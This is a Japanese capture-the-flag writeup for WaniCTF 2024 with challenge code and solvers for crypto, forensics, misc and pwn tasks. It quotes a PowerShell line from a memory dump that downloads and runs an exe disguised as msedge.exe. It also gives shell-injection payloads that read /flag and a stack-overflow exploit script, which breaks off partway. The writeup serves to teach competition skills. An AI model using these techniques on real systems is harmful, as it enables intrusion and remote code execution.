WaniCTF 2024 writeup

2024/6/21-2024/6/23に開催された WaniCTF 2024 にチーム Seikatsukowareu2 で参加した。5503点で7位。 初心者・中級者向けコンテストと銘打たれていることやGoogleCTFと被っているなどの都合で強い人の参加は少なかった気がするが、いい順位が取れて嬉しい。
writeupにはチームで解いた問題のうち自分が解法を把握しているものを全て載せており、一部の問題は自力で解いていません。

Crypto

全問解いた。ufは途中で詰まってチームメイトに助けてもらった。

beginners_rsa (Beginner, 121pt, 530solves)

chall.py

from Crypto.Util.number import *

p = getPrime(64)
q = getPrime(64)
r = getPrime(64)
s = getPrime(64)
a = getPrime(64)
n = p*q*r*s*a
e = 0x10001

FLAG = b'FLAG{This_is_a_fake_flag}'
m = bytes_to_long(FLAG)
enc = pow(m, e, n)
print(f'n = {n}')
print(f'e = {e}')
print(f'enc = {enc}')

中途半端に大きい素数の積なので素因数分解が少し難しく、factorコマンドに投げても時間がかかる。 が、FactorDB で調べると素因数分解が載っていて、これを使ってphiを復元すると通る。

solve.py

from Crypto.Util.number import *

n = 317903423385943473062528814030345176720578295695512495346444822768171649361480819163749494400347
e = 65537
enc = 127075137729897107295787718796341877071536678034322988535029776806418266591167534816788125330265

p = 9953162929836910171
q = 11771834931016130837
r = 12109985960354612149
s = 13079524394617385153
a = 17129880600534041513
n2 = p*q*r*s*a
assert n == n2
phi = (p-1)*(q-1)*(r-1)*(s-1)*(a-1)
d = inverse(e, phi)
m = pow(enc, d, n)
print(long_to_bytes(m))

beginners_aes (Beginner, 125pt, 453solves)

chall.py

# https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from os import urandom
import hashlib

key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'
key += urandom(1)
iv += urandom(1)
7
cipher = AES.new(key, AES.MODE_CBC, iv)
FLAG = b'FLAG{This_is_a_dummy_flag}'
flag_hash = hashlib.sha256(FLAG).hexdigest()

msg = pad(FLAG, 16)
enc = cipher.encrypt(msg)

print(f'enc = {enc}')
print(f'flag_hash = {flag_hash}')

AES暗号で、keyとivのうち最後の1バイト以外が既知。 keyとivの組の候補は高々65536通りしかないので全探索ができる。

solve.py

# https://pycryptodome.readthedocs.io/en/latest/src/cipher/aes.html
from Crypto.Util.Padding import pad
from Crypto.Cipher import AES
from os import urandom
import hashlib

enc = b'\x16\x97,\xa7\xfb_\xf3\x15.\x87jKRaF&"\xb6\xc4x\xf4.K\xd77j\xe5MLI_y\xd96\xf1$\xc5\xa3\x03\x990Q^\xc0\x17M2\x18'
flag_hash = '6a96111d69e015a07e96dcd141d31e7fc81c4420dbbef75aef5201809093210e'


key = b'the_enc_key_is_'
iv = b'my_great_iv_is_'

for i in range(256):
    for j in range(256):
        key2 = key + i.to_bytes(1, 'big')
        iv2 = iv + j.to_bytes(1, 'big')
        cipher = AES.new(key2, AES.MODE_CBC, iv2)
        res = cipher.decrypt(enc)
        for k in range(len(res)):
            res2 = res[:k]
            if hashlib.sha256(res2).hexdigest() == flag_hash:
                print(res2)

replacement (Easy, 126pt, 431solves)

chall.py

from secret import cal
import hashlib

enc = []
for char in cal:
    x = ord(char)
    x = hashlib.md5(str(x).encode()).hexdigest()
    enc.append(int(x, 16))
        
with open('my_diary_11_8_Wednesday.txt', 'w') as f:
    f.write(str(enc))

secretにある文章を文字ごとにmd5に変換した結果の配列が渡される。 文章がASCIIだと信じると文字の種類数は高々128種であり、事前に全部の文字のmd5を調べておけば元のテキストが復元できる。

solve.py

import hashlib
res = [...] # 長いので省略
d = {}
for i in range(128):
    x = hashlib.md5(str(i).encode()).hexdigest()
    d[int(x, 16)] = chr(i)
      
for r in res:
    print(d[r], end='')

Easy calc (Easy, 197pt, 95solves)

chall.py

import os
import random
from hashlib import md5

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, getPrime

FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}")


def encrypt(m: bytes, key: int) -> bytes:
    iv = os.urandom(16)
    key = long_to_bytes(key)
    key = md5(key).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    return iv + cipher.encrypt(m)


def f(s, p):
    u = 0
    for i in range(p):
        u += p - i
        u *= s
        u %= p

    return u


p = getPrime(1024)
s = random.randint(1, p - 1)

A = f(s, p)
ciphertext = encrypt(FLAG, s).hex()


print(f"{p = }")
print(f"{A = }")
print(f"{ciphertext = }")

問題文中の  f(s, p) は式変形を挟むと  \sum_{k=0}^{p-1} ks^k \bmod p となる。
WolframAlpha に投げたり形式的冪級数の気持ちになって丁寧に式変形をしたりすることで、  \sum_{k=0}^{p-1} ks^k = \frac{(p-1)s^{p+1}-ps^p}{(s-1)^2} が得られる。
ここから  f(s, p) \bmod p を取っていることを思い出してさらに式を弄ると、 f(s, p) = \frac{s}{1-s} \bmod p であり、 x=f(x, p) から  s を求める逆関数 \frac{x}{x+1} になることが分かる。
あとはこれをプログラムに落とすとフラグが得られる。

solve.py

import os
import random
from hashlib import md5

from Crypto.Cipher import AES
from Crypto.Util.number import long_to_bytes, getPrime

FLAG = os.getenvb(b"FLAG", b"FAKE{THIS_IS_NOT_THE_FLAG!!!!!!}")

p = 108159532265181242371960862176089900437183046655107822712736597793129430067645352619047923366465213553080964155205008757015024406041606723580700542617009651237415277095236385696694741342539811786180063943404300498027896890240121098409649537982185247548732754713793214557909539077228488668731016501718242238229
A = 60804426023059829529243916100868813693528686280274100232668009387292986893221484159514697867975996653561494260686110180269479231384753818873838897508257692444056934156009244570713404772622837916262561177765724587140931364577707149626116683828625211736898598854127868638686640564102372517526588283709560663960
ciphertext = '9fb749ef7467a5aff04ec5c751e7dceca4f3386987f252a2fc14a8970ff097a81fcb1a8fbe173465eecb74fb1a843383'


def decrypt(c: bytes, key: int) -> bytes:
    iv, c = c[:16], c[16:]
    key = long_to_bytes(key)
    key = md5(key).digest()
    cipher = AES.new(key, AES.MODE_CBC, iv=iv)
    return cipher.decrypt(c)


def inv(x, p): # ivnerse of s / (1 - s)  =  x / (x + 1)
    return x * pow(x + 1, -1, p) % p

ciphertext = bytes.fromhex(ciphertext)
s = inv(A, p)

print(decrypt(ciphertext, s))

dance (Normal, 205pt, 85solves)

chall.py:

from mycipher import MyCipher
import hashlib
import datetime
import random

isLogged = False
current_user = ''
d = {}

def make_token(data1: str, data2: str):
    sha256 = hashlib.sha256()
    sha256.update(data1.encode())
    right = sha256.hexdigest()[:20]
    sha256.update(data2.encode())
    left = sha256.hexdigest()[:12]  
    token = left + right    
    return token

def main():
    print('Welcome to the super secure encryption service!')
    while True:
        print('Select an option:')
        print('1. Register')
        print('2. Login')
        print('3. Logout')
        print('4. Encrypt')
        print('5. Decrypt')
        print('6. Exit')
        choice = input('> ')
        if choice == '1':
            Register()
        elif choice == '2':
            Login()
        elif choice == '3':
            Logout()
        elif choice == '4':
            Encrypt()
        elif choice == '5':
            print('Goodbye!')
            break
        else:
            print('Invalid choice')

def Register():
    global d
    username = input('Enter username: ')
    if username in d:
        print('Username already exists')
        return
    dt_now = datetime.datetime.now()
    minutes = dt_now.minute
    sec = dt_now.second
    data1 = f'user: {username}, {minutes}:{sec}'
    data2 = f'{username}'+str(random.randint(0, 10))
    d[username] = make_token(data1, data2) 
    print('Registered successfully!')
    print('Your token is:', d[username])
    return

def Login(): 
    global isLogged
    global d
    global current_user
    username = input('Enter username: ')
    if username not in d:
        print('Username does not exist')
        return
    token = input('Enter token: ')
    if d[username] != token:
        print('Invalid token')
        return
    isLogged = True
    current_user = username
    print(f'Logged in successfully! Hi {username}!')
    return

def Logout(): 
    global isLogged
    global current_user
    isLogged = False
    current_user = ''
    print('Logged out successfully!')
    return

def Encrypt():
    global isLogged
    global current_user
    if not isLogged:
        print('You need to login first')
        return
    token = d[current_user]
    sha256 = hashlib.sha256()
    sha256.update(token.encode())  
    key = sha256.hexdigest()[:32] 
    nonce = token[:12] 
    cipher = MyCipher(key.encode(), nonce.encode()) 
    plaintext = input('Enter plaintext: ')
    ciphertext = cipher.encrypt(plaintext.encode())
    print('username:', current_user)
    print('Ciphertext:', ciphertext.hex())
    return

if __name__ == '__main__':
    main()

mycipher.py:

from utils import *

class MyCipher:
    def __init__(self, key: bytes, nonce: bytes):
        self.key = key
        self.nonce = nonce
        self.counter = 1
        self.state = List[F2_32]

    def __quarter_round(self, a: F2_32, b: F2_32, c: F2_32, d: F2_32):
        a += b; d ^= a; d <<= 16
        c += d; b ^= c; b <<= 12
        a += b; d ^= a; d <<= 8
        c += d; b ^= c; b <<= 7
        return a, b, c, d
    
    def __Qround(self, idx1, idx2, idx3, idx4):
        self.state[idx1], self.state[idx2], self.state[idx3], self.state[idx4] = \
            self.__quarter_round(self.state[idx1], self.state[idx2], self.state[idx3], self.state[idx4])

    def __update_state(self):
        for _ in range(10):
            self.__Qround(0, 4, 8, 12)
            self.__Qround(1, 5, 9, 13)
            self.__Qround(2, 6, 10, 14)
            self.__Qround(3, 7, 11, 15)
            self.__Qround(0, 5, 10, 15)
            self.__Qround(1, 6, 11, 12)
            self.__Qround(2, 7, 8, 13)
            self.__Qround(3, 4, 9, 14)

    def __get_key_stream(self, key: bytes, counter: int, nonce: bytes) -> bytes:
        constants = [F2_32(x) for x in struct.unpack('<IIII', b'expand 32-byte k')]
        key = [F2_32(x) for x in struct.unpack('<IIIIIIII', key)]
        counter = [F2_32(counter)]
        nonce = [F2_32(x) for x in struct.unpack('<III', nonce)]
        self.state = constants + key + counter + nonce
        initial_state = self.state[:]
        self.__update_state()
        self.state = [x + y for x, y in zip(self.state, initial_state)]
        return serialize(self.state)
    
    def __xor(self, a: bytes, b: bytes) -> bytes:
        return bytes([x ^ y for x, y in zip(a, b)])

    def encrypt(self, plaintext: bytes) -> bytes:
        encrypted_message = bytearray(0)

        for i in range(len(plaintext)//64):
            key_stream = self.__get_key_stream(self.key, self.counter + i, self.nonce)
            encrypted_message += self.__xor(plaintext[i*64:(i+1)*64], key_stream)

        if len(plaintext) % 64 != 0:
            key_stream = self.__get_key_stream(self.key, self.counter + len(plaintext)//64, self.nonce)
            encrypted_message += self.__xor(plaintext[(len(plaintext)//64)*64:], key_stream[:len(plaintext) % 64])

        return bytes(encrypted_message)

また、これに加えてadminのusernameとciphertextが与えられる。
ソースコードがかなり長いが、Decrypt処理がないこと、ユーザー登録時に make_token によりtokenが生成されていること、その引数が f'user: {username}, {minutes}:{sec}'f'{username}'+str(random.randint(0, 10)) であることが分かれば良い。 username は既知であり、minutes, sec, random.randint(0,10) は全て全探索しても高々39600通りである。そのため、Decryptさえ書ければ全探索により答えが求まる。
後はDecryptだが、これは中身を一切調べないままGPT-4oに任せてしまった。 話を聞くとEncryptとDecryptの処理が同じでよいことが分かり、実際その通りに処理して全探索すると通る。

solve.py

from mycipher import MyCipher
import hashlib
import datetime
import random

isLogged = False
current_user = ''
d = {}

def make_token(data1: str, data2: str):
    sha256 = hashlib.sha256()
    sha256.update(data1.encode())
    right = sha256.hexdigest()[:20]
    sha256.update(data2.encode())
    left = sha256.hexdigest()[:12]     
    token = left + right           
    return token

def main():
    username = 'gureisya'
    ciphertext = '061ff06da6fbf8efcd2ca0c1d3b236aede3f5d4b6e8ea24179'
    for minute in range(60):
        for sec in range(60):
            print(minute, sec)
            data1 = f'user: {username}, {minute}:{sec}'
            for i in range(11):
                data2 = f'{username}{i}'
                token = make_token(data1, data2)
                key = hashlib.sha256(token.encode()).hexdigest()[:32]
                nonce = token[:12]
                cipher = MyCipher(key.encode(), nonce.encode())
                plaintext = cipher.decrypt(bytes.fromhex(ciphertext))
                if b'FLAG' in plaintext:
                    print(plaintext)
                    return

if __name__ == '__main__':
    main()

speedy (Hard, 235pt, 60solves)

chall.py

from cipher import MyCipher
from Crypto.Util.number import *
from Crypto.Util.Padding import *
import os

s0 = bytes_to_long(os.urandom(8)) # 64bits
s1 = bytes_to_long(os.urandom(8))

cipher = MyCipher(s0, s1)
secret = b'FLAG{'+b'*'*19+b'}'
pt = pad(secret, 8)
ct = cipher.encrypt(pt)
print(f'ct = {ct}')

cipher.py

from Crypto.Util.number import *
from Crypto.Util.Padding import *

def mod(x):
    return x & 0xFFFFFFFFFFFFFFFF

def rotl(x, y):
    x &= 0xFFFFFFFFFFFFFFFF
    return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

class MyCipher:
    def __init__(self, s0, s1):
        self.X = s0
        self.Y = s1
        self.mod = 0xFFFFFFFFFFFFFFFF
        self.BLOCK_SIZE = 8
    
    def get_key_stream(self):
        s0 = self.X
        s1 = self.Y
        sum = (s0 + s1) & self.mod
        s1 ^= s0
        key = []
        for _ in range(8):
            key.append(sum & 0xFF)
            sum >>= 8
        self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
        self.Y = rotl(s1, 37) & self.mod
        assert self.X == (rotl(s0, 24) ^ s1 ^ mod(s1 << 16))
        assert self.Y == rotl(s1, 37)
        # key = sum
        return key
    
    def encrypt(self, pt: bytes):
        ct = b''
        for i in range(0, len(pt), self.BLOCK_SIZE):
            ct += long_to_bytes(self.X)
            key = self.get_key_stream()
            block = pt[i:i+self.BLOCK_SIZE]
            ct += bytes([block[j] ^ key[j] for j in range(self.BLOCK_SIZE)])
        return ct

s0, s1 という64bit乱数をseedにした暗号化。 暗号化では内部状態として64bitの数値 X, Y が存在しており、8バイト分をまとめて暗号化していること、各暗号化ステップでの X は既知であること、次の状態における XY は前の状態からのビット演算やrotateによって定まることが分かる。
また、暗号文は key=X+Y と生テキストのxorによって決まるため、X,Y さえ復元できてしまえば解くことができる。
内部状態の遷移は全てビット演算で決まるため、各段階の内部状態を論理式で記述することができる。 暗号化結果が out.txt の中身と一致するような s0 s1 の組が分かれば良く、これはSMTソルバである z3 に投げると良い。
z3にはBitVecという便利な型があり、これを使うと get_key_stream で行っていた処理をそのまま移植するだけで遷移を論理式に落とすことができる。
ということで、コードを書いてz3に投げると答えが求まる。BitVecの左シフトのデフォルトが算術シフトになっており式が合わず唸っていたが、rotl を使うことで解決した。

solve.py

from Crypto.Util.number import *
from Crypto.Util.Padding import *
import os


def mod(x):
    return x & 0xFFFFFFFFFFFFFFFF

def rotl(x, y):
    # x &= 0xFFFFFFFFFFFFFFFF
    return ((x << y) | (x >> (64 - y))) & 0xFFFFFFFFFFFFFFFF

def get_key_stream(self):
    s0 = self.X
    s1 = self.Y
    sum = (s0 + s1) & self.mod
    s1 ^= s0
    key = []
    for _ in range(8):
        key.append(sum & 0xFF)
        sum >>= 8
    self.X = (rotl(s0, 24) ^ s1 ^ (s1 << 16)) & self.mod
    self.Y = rotl(s1, 37) & self.mod
    assert self.X == (rotl(s0, 24) ^ s1 ^ mod(s1 << 16))
    assert self.Y == rotl(s1, 37)
    # key = sum
    return key


# solver
from z3 import *

ct = b'"G:F\xfe\x8f\xb0<O\xc0\x91\xc8\xa6\x96\xc5\xf7N\xc7n\xaf8\x1c,\xcb\xebY<z\xd7\xd8\xc0-\x08\x8d\xe9\x9e\xd8\xa51\xa8\xfbp\x8f\xd4\x13\xf5m\x8f\x02\xa3\xa9\x9e\xb7\xbb\xaf\xbd\xb9\xdf&Y3\xf3\x80\xb8'

def rotl(x, y):
    return ((x << y) | LShR(x, (64 - y))) & 0xFFFFFFFFFFFFFFFF # 論理シフト: LShR

s0 = BitVec('s0_0', 64)
s1 = BitVec('s1_0', 64)

exprs = []

Xs = []
Vs = []
for i in range(4):
    Xs.append(bytes_to_long(ct[i*16:i*16+8]))
    Vs.append(ct[i*16+8:i*16+16])
sums = []
for i in range(4):
    exprs.append(Xs[i] == s0)
    sum = BitVec(f'sum_{i}', 64)
    sums.append(sum)
    exprs.append(sum == mod(s0 + s1))
    if i != 3:
        n_s1 = BitVec(f'n_s1_{i}', 64)
        exprs.append(n_s1 == s1 ^ s0)
        n_s0 = BitVec(f's0_{i+1}', 64)
        exprs.append(n_s0 == rotl(s0, 24) ^ n_s1 ^ mod(n_s1 << 16))
        s0 = n_s0
        s1 = BitVec(f's1_{i+1}', 64)
        exprs.append(s1 == rotl(n_s1, 37))

s = Solver()
s.add(exprs)
assert s.check() == sat

ans = b''
m = s.model()
for i in range(4):
    sum = m[sums[i]].as_long()
    key = []
    for _ in range(8):
        key.append(sum & 0xFF)
        sum >>= 8
    ans += bytes([Vs[i][j] ^ key[j] for j in range(len(Vs[i]))])
print(s.model())
print(ans)

Many Xor Shift (Normal, 307pt, 29solves)

chall.py

FLAG = b'FAKE{XXXXXXXXXXXXXXXXXXXXXX}'

N = 7
M = 17005450388330379
WORD_SIZE = 32
WORD_MASK = (1 << WORD_SIZE) - 1

def encrypt(m):
    state = [int.from_bytes(m[i:i+4], 'little') for i in range(0, len(m), 4)]
    assert len(state) == N

    def xor_shift():
        nonlocal state
        t = state[0] ^ ((state[0] << 11) & WORD_MASK)
        for i in range(N-1):
            state[i] = state[i+1]
        state[-1] = (state[-1] ^ (state[-1] >> 19)) ^ (t ^ (t >> 8))

    for _ in range(M):
        xor_shift()

    return state

print("N = ", N)
print("M = ", M)
print("WORD_SIZE = ", WORD_SIZE)
print("state = ", encrypt(FLAG))

xorshiftを  M=17005450388330379 回繰り返すことでciphertextを得ており、ciphertext→FLAGを得るような逆操作を行いたい。
xorshiftの処理はmod 2上の行列積で書けることが知られており、xorshiftを  M 回行った後の処理は行列の  M 乗との行列積で求まる。 この行列は正則であるため逆行列も求まり、逆行列 M 乗を求めてciphertextとの行列積を取ることで答えが復元できる。

solve.sage

import numpy as np
import os
import sage.all as sage

N = 7
M = 17005450388330379
WORD_SIZE = 32
WORD_MASK = (1 << WORD_SIZE) - 1

state = [1927245640, 871031439, 789877080, 4042398809, 3950816575, 2366948739, 935819524]

GF2 = sage.GF(2)
mat = sage.Matrix(GF2, 224, 224)

for i in range(N - 1):
    for j in range(32):
        mat[(i + 1) * 32 + j, i * 32 + j] = True
for j in range(32):
    mat[j, 6 * 32 + j] = True
    if 11 <= j:
        mat[j - 11, 6 * 32 + j] = True
    if j < 24:
        mat[j + 8, 6 * 32 + j] = True
    if 3 <= j and j < 24:
        mat[j - 3, 6 * 32 + j] = True
    mat[6 * 32 + j, 6 * 32 + j] = True
    if j < 13:
        mat[6 * 32 + j + 19, 6 * 32 + j] = True

inv = mat.inverse()

def decrypt(state, M):
    s = [[state[i] & (1 << j) for j in range(32)] for i in range(N)]
    s = np.array(s).astype(np.bool_).flatten()
    s = sage.vector(GF2, s)
    res = s * (inv ** M)
    state = [sum([int(res[i * 32 + j]) << j for j in range(32)]) for i in range(N)]
    m = b''.join([int.to_bytes(state[i], 4, 'big') for i in range(N)])
    print(m)

decrypt(state, M)

uf (Very Hard, 379pt, 14solves)

chall.py

import os
from secrets import randbits
from Crypto.Util.number import bytes_to_long


FLAG = os.environb.get(b"FLAG", b"FAKE{THIS_IS_DUMMY_FLAG}")
m = bytes_to_long(FLAG)
assert m.bit_length() >= 512


def encrypt(m: int, n: int = 512) -> int:
    x = 0
    for i in range(n):
        x <<= 1
        x += m * randbits(1)
        if i >= n // 2:
            x ^= randbits(1)
    return x


X = [encrypt(m) for _ in range(4)]
print(X)

 p_i を0,1の二値を取る独立な一様乱数として  \sum_{i=0}^{511} m 2^i p_i を計算し、下位256bitをランダムにしたものが4種渡されるので、そこから  m を復元したい。
 \sum_{i=0}^{511} 2^i p_i を1つの512bit整数  q_i だと考えると  y_i \approx m q_i であるような  y_i q_i の組が与えられると解釈できる。 これはapproximate GCDであり、LLLで解ける。
途中まで +=^= であると勘違いしており、チームメイトに誤読を指摘してもらった。そのチームメイトが「gcdなら解けるんだけどな~」と言っていたので解法を思いつき、調べると解けることが分かったので彼に実装を押し付けた。自分の実装ではないのでソースコードは無し。

Forensics

全完で、4/6 は自力で解いた。I_wanna_be_a_streamerとmem_searchは考察と詰まった所を載せたらチームメイトが解いてくれた。

tiny_usb (Beginner, 116pt, 731solves)

ISOファイルが渡される。開くと画像があり、画像にフラグが書いてある。

Surveillance_of_sus (Normal, 126pt, 431solves)

Cache_chal.bin が渡されるのでこれを復元したい。
調べると BMC-tools なるものがヒットするので、それを使うと650枚のbmpファイルが復元できる。あとは画像を貼って並べたり、PowerPointでジグソーパズルをしたり、bmc-toolsの -b オプションで画像を復元したりすることでフラグが得られる。

codebreaker (Beginner, 140pt, 268solves)

真ん中に×と書かれているQRコードがあり、そのままでは読み込めない。
切り出しシンボルだけを手作業で白に塗ってからデンソー公式のQRコードリーダーで読むと通る。

I_wanna_be_a_streamer (Easy, 169pt, 144solves)

pcapファイルが渡される。
パケットを読むとRTPで通信しているらしく、H.264エンコードされた動画が配信されていたらしい。 パケットを適切にフィルタリングして h264extractor で復元すると通りそうだが、フィルタのかけ方が悪いのかなぜかvalidな動画ファイルが出力されない。
ここで困って投げだしていたが、チームメイトが解いてくれた。↑の方法でそのまま復元できたらしい。環境の差か、日頃の行いの差か・・・

tiny_10px (Normal, 182pt, 118solves)

10x10pxの画像ファイルが与えられる。ファイルサイズが45KBあるので明らかに何かがおかしい。
こういうのは隠しファイルがあるか画像サイズがおかしいかなはずなので、一旦 binwalk で隠しファイルを調べるも、特になさそう。
画像サイズをリサイズするツールを調べると modsize が出てくるので、これをPython3用に適宜書き換えて動かしてみると、画像を適当に拡大した際に謎の文字が見える。 画像幅がおかしそうなのでwidthを調整して python3 modsize.py --width=160 --height=400 ../chal_tiny_10px.jpg out.jpg を実行すると正しい画像が復元できた。

mem_search (Hard, 185pt, 112solves)

数GBのメモリダンプが渡される。
とりあえず strings にかけると、chal_mem_search.exe が動いているっぽいことが分かる。気になる部分は下で、どうやら msedge.exe を偽装しているらしい。

$u='http://192.168.0.16:8282/b64_decode_rkxbr3teyxl1bv90aglzx2lzx3nly3jldf9mawxlfq%3d%3d/chall_mem_search.exe';$t='wanitemp';mkdir -force $env:tmp\..\$t;try{iwr $u -outfile $d\msedge.exe;& $d\msedge.exe;}catch{}

メモリダンプの解析ツールに volatility3 というのが存在するらしく、使ってみる。
とりあえず pstree を調べると、以下のようなプロセスが出てくる。 msedge.exe 自体はこれ以外にもいくつか呼ばれているが、これは powershell.exe の子プロセスとして呼ばれていたりと異質。

*** 2704        3576    powershell.exe  0xcd88ce279080  0       -       1       False   2024-05-11 09:33:52.000000      2024-05-11 09:33:56.000000      \Device\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe       -       -
**** 7844       2704    msedge.exe      0xcd88cd7ac080  0       -       1       True    2024-05-11 09:33:55.000000      2024-05-11 09:33:57.000000      \Device\HarddiskVolume3\msedge.exe      -       -

次に filescan で調べると、該当の exe ファイルに対応するメモリアドレスが特定できた。

0xcd88cebd4af0    \msedge.exe    216
0xcd88cebd4e10    \msedge.exe    216

これを vol -f chal_mem_search.DUMP windows.dumpfiles --virtaddr 0xcd88cebd4e10 のようにしてdumpすると .exe.dat.exe.img ファイルが得られる。 Windows用の実行ファイルのようなので実行すると下のようなメッセージダイアログが出て、これをdecodeすると FLAG{H...} が得られる。

このFLAGを提出するが、通らない。問題ページに以下の文面があり、これが理由らしい。

※ 注意: ファイル内にFLAGが2つあります。FLAG{Hで始まるFLAGは今回の答えではありません。FLAG{Dで始まるFLAGを提出してください。

このバイナリをGhidraで見たりもしたがそれっぽい記述は見当たらない。偽フラグにまんまと引っかかって楽しくなくなってしまったこともあり、ここで撤退。
このまま放置していたら、後からチームメイトが通してくれた。 どうやって通したのかはよく知らないが、strings -n 20 ../chal_mem_search.DUMP | grep -5 B64_decode を眺めると違うものがあったらしい。

Misc

2/6 を解いて、Cheat Codeはチームメイトが解いてくれた。問題内容と解法は理解しているつもりなのでwriteupは3問分書いた。

JQ Playground (Easy, 199pt, 92solves)

main.py

from flask import *
import subprocess

app = Flask(__name__)


@app.route("/")
def get():
    return render_template("index.tmpl")


@app.route("/", methods=["POST"])
def post():
    print(request.form)
    filter = request.form["filter"]
    print("[i] filter :", filter)
    if len(filter) >= 9:
        return render_template("index.tmpl", error="Filter is too long")
    if ";" in filter or "|" in filter or "&" in filter:
        return render_template("index.tmpl", error="Filter contains invalid character")
    command = "jq '{}' test.json".format(filter)
    ret = subprocess.run(
        command,
        shell=True,
        stdout=subprocess.PIPE,
        stderr=subprocess.PIPE,
        encoding="utf-8",
    )
    return render_template("index.tmpl", contents=ret.stdout, error=ret.stderr)


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8000, debug=True)

jq '{user_input}' test.json を実行できる。フラグは /flag にある。
とりあえずシングルクォートで囲んで ' $(cat /flag) ' のようにすれば出力ができるが、文字数制限があるため難しい。 /flag が5文字使うことが悪く、これはシェルの展開を利用して /* で代替できる。 これだけだと FLAG{...}jsonとしてvalidでないためparse errorとなってしまうが、jq には -R オプションがあり、これを使うとファイルの中身を文字列として解釈してくれる。
あとはシングルクォートで囲んで消せる空白を適宜縮めればよい。最終的なペイロード' -R /*' になった。

sh (Normal, 248pt, 52solves)

game.sh

#!/usr/bin/env sh

set -euo pipefail

printf "Can you guess the number? > "

read i

if printf $i | grep -e [^0-9]; then
    printf "bye hacker!"
    exit 1
fi

r=$(head -c512 /dev/urandom | tr -dc 0-9)

if [[ $r == $i ]]; then
    printf "How did you know?!"
    cat flag.txt
else
    printf "Nope. It was $r."
fi

ユーザー入力を後から生成される乱数と一致させることでフラグが得られる。
常識的に考えてそんなことは不可能なので、変数展開を用いて $r == $i をバイパスしたい。 シェルで展開された変数はダブルクォートで囲まないとそのまま解釈されるらしいので、これを使って || 1 のように入力を与えることで一致判定を突破できる。
あとは printf $i | grep -e [^0-9] による判定だが、printf の第一引数に適当なフォーマット指定子を渡してあげることでこれもバイパスできる。
最終的なペイロード%d%d%d || 1 となった。

Cheat Code (Easy, 264pt, 44solves)

server.py

from hashlib import sha256
import os
from secrets import randbelow
from secret import flag, cheat_code
import re

challenge_times = 100
hash_strength = int(os.environ.get("HASH_STRENGTH", 10000))

def super_strong_hash(s: str) -> bytes:
    sb = s.encode()
    for _ in range(hash_strength):
        sb = sha256(sb).digest()
    return sb

cheat_code_hash = super_strong_hash(cheat_code)
print(f"hash of cheat code: {cheat_code_hash.hex()}")
print("If you know the cheat code, you will always be accepted!")

secret_number = randbelow(10**10)
secret_code = f"{secret_number:010d}"
print(f"Find the secret code of 10 digits in {challenge_times} challenges!")

def check_code(given_secret_code, given_cheat_code):
    def check_cheat_code(given_cheat_code):
        return super_strong_hash(given_cheat_code) == cheat_code_hash

    digit_is_correct = []
    for i in range(10):
        digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code))
    return all(digit_is_correct)

given_cheat_code = input("Enter the cheat code: ")
if len(given_cheat_code) > 50:
    print("Too long!")
    exit(1)
for i in range(challenge_times):
    print(f"=====Challenge {i+1:03d}=====")
    given_secret_code = input("Enter the secret code: ")
    if not re.match(r"^\d{10}$", given_secret_code):
        print("Wrong format!")
        exit(1)
    if check_code(given_secret_code, given_cheat_code):
        print("Correct!")
        print(flag)
        exit(0)
    else:
        print("Wrong!")
print("Game over!")

secret_code をどうにかしてリークする問題。
ソースコード中の digit_is_correct.append(given_secret_code[i] == secret_code[i] or check_cheat_code(given_cheat_code)) という部分を見ると、given_secret_code[i] == secret_code[i] の時だけ check_cheat_code が走ることが分かるが、check_cheat_code 内ではハッシュを大量に計算しているので、実行時間の差を測ることでタイミング攻撃が行える。
ちょっと読んで解けずに唸っていたらチームメイトが解いてくれた。

Pwnable

全部解いた。

nc (Beginner, 116pt, 733solves)

書いてあるコマンド通りに接続した後に簡単な問題を解くと通る。

do_not_rewrite (Easy,173pt, 136solves)

main.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

typedef struct {
    double calories_per_gram;
    double amount_in_grams;
    char name[50];
} Ingredient;

void init(){
    setbuf(stdin, NULL);
    setbuf(stdout, NULL);
    setbuf(stderr, NULL);
    alarm(180);
}

void show_flag(){
    printf("\nExcellent!\n");
    system("cat FLAG");
}

double calculate_total_calories(Ingredient ingredients[], int num_ingredients) {
    double total_calories = 0.0;
    for (int i = 0; i < num_ingredients; i++) {
        total_calories += ingredients[i].calories_per_gram * ingredients[i].amount_in_grams;
    }
    return total_calories;
}

int main() {
    init();

    Ingredient ingredients[3];
    printf("hint: show_flag = %p\n", (void *)show_flag);

    for (int i = 0; i <= 3; i++) {
        printf("\nEnter the name of ingredient %d: ", i + 1);
        scanf("%s", ingredients[i].name);

        printf("Enter the calories per gram for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].calories_per_gram);

        printf("Enter the amount in grams for %s: ", ingredients[i].name);
        scanf("%lf", &ingredients[i].amount_in_grams);
    }

    double total_calories = calculate_total_calories(ingredients, 3);

    printf("\nTotal calories for the meal: %.2f kcal\n", total_calories);

    return 0;
}

アドレスが既知の show_flag 関数を呼びたい。Full RELRO, stack canaryあり。
本来 i < 3 となっている部分が i <= 3 となっているので、配列の外にアクセスできる。 配列外参照で書き込むことができる ingredients[3] に該当する領域にはstack canaryやreturn addressが存在する。
stack canaryには %lf での入力先アドレスが対応しており一見canaryが破壊されてしまうように見えるが、scanf にinvalidな入力を与えるとアドレスへの書き込みはされないため、stack canaryを無視してreturn addressの書き換えが行える。
あとはreturn addressを既知の show_flag 関数につければ終了。 system を呼ぶ際にstackのアラインメントが16の倍数ではないと落ちるため、objdumpで見つけてきた ret 命令のアドレスに一度飛ばすことにし、stackのアラインメントを調整している。

solve.py

from ptrlib import *

path = os.path.join(os.path.dirname(__file__), './chall')

LOCAL = False

if LOCAL:
    p = Process(path)
else:
    p = Socket('chal-lz56g6.wanictf.org', 9004)

e = ELF(path)

r =  int(p.recvlineafter('show_flag = ').decode(), 16)
print(hex(r))

p.sendlineafter('ingredient 1: ', 'hoge')
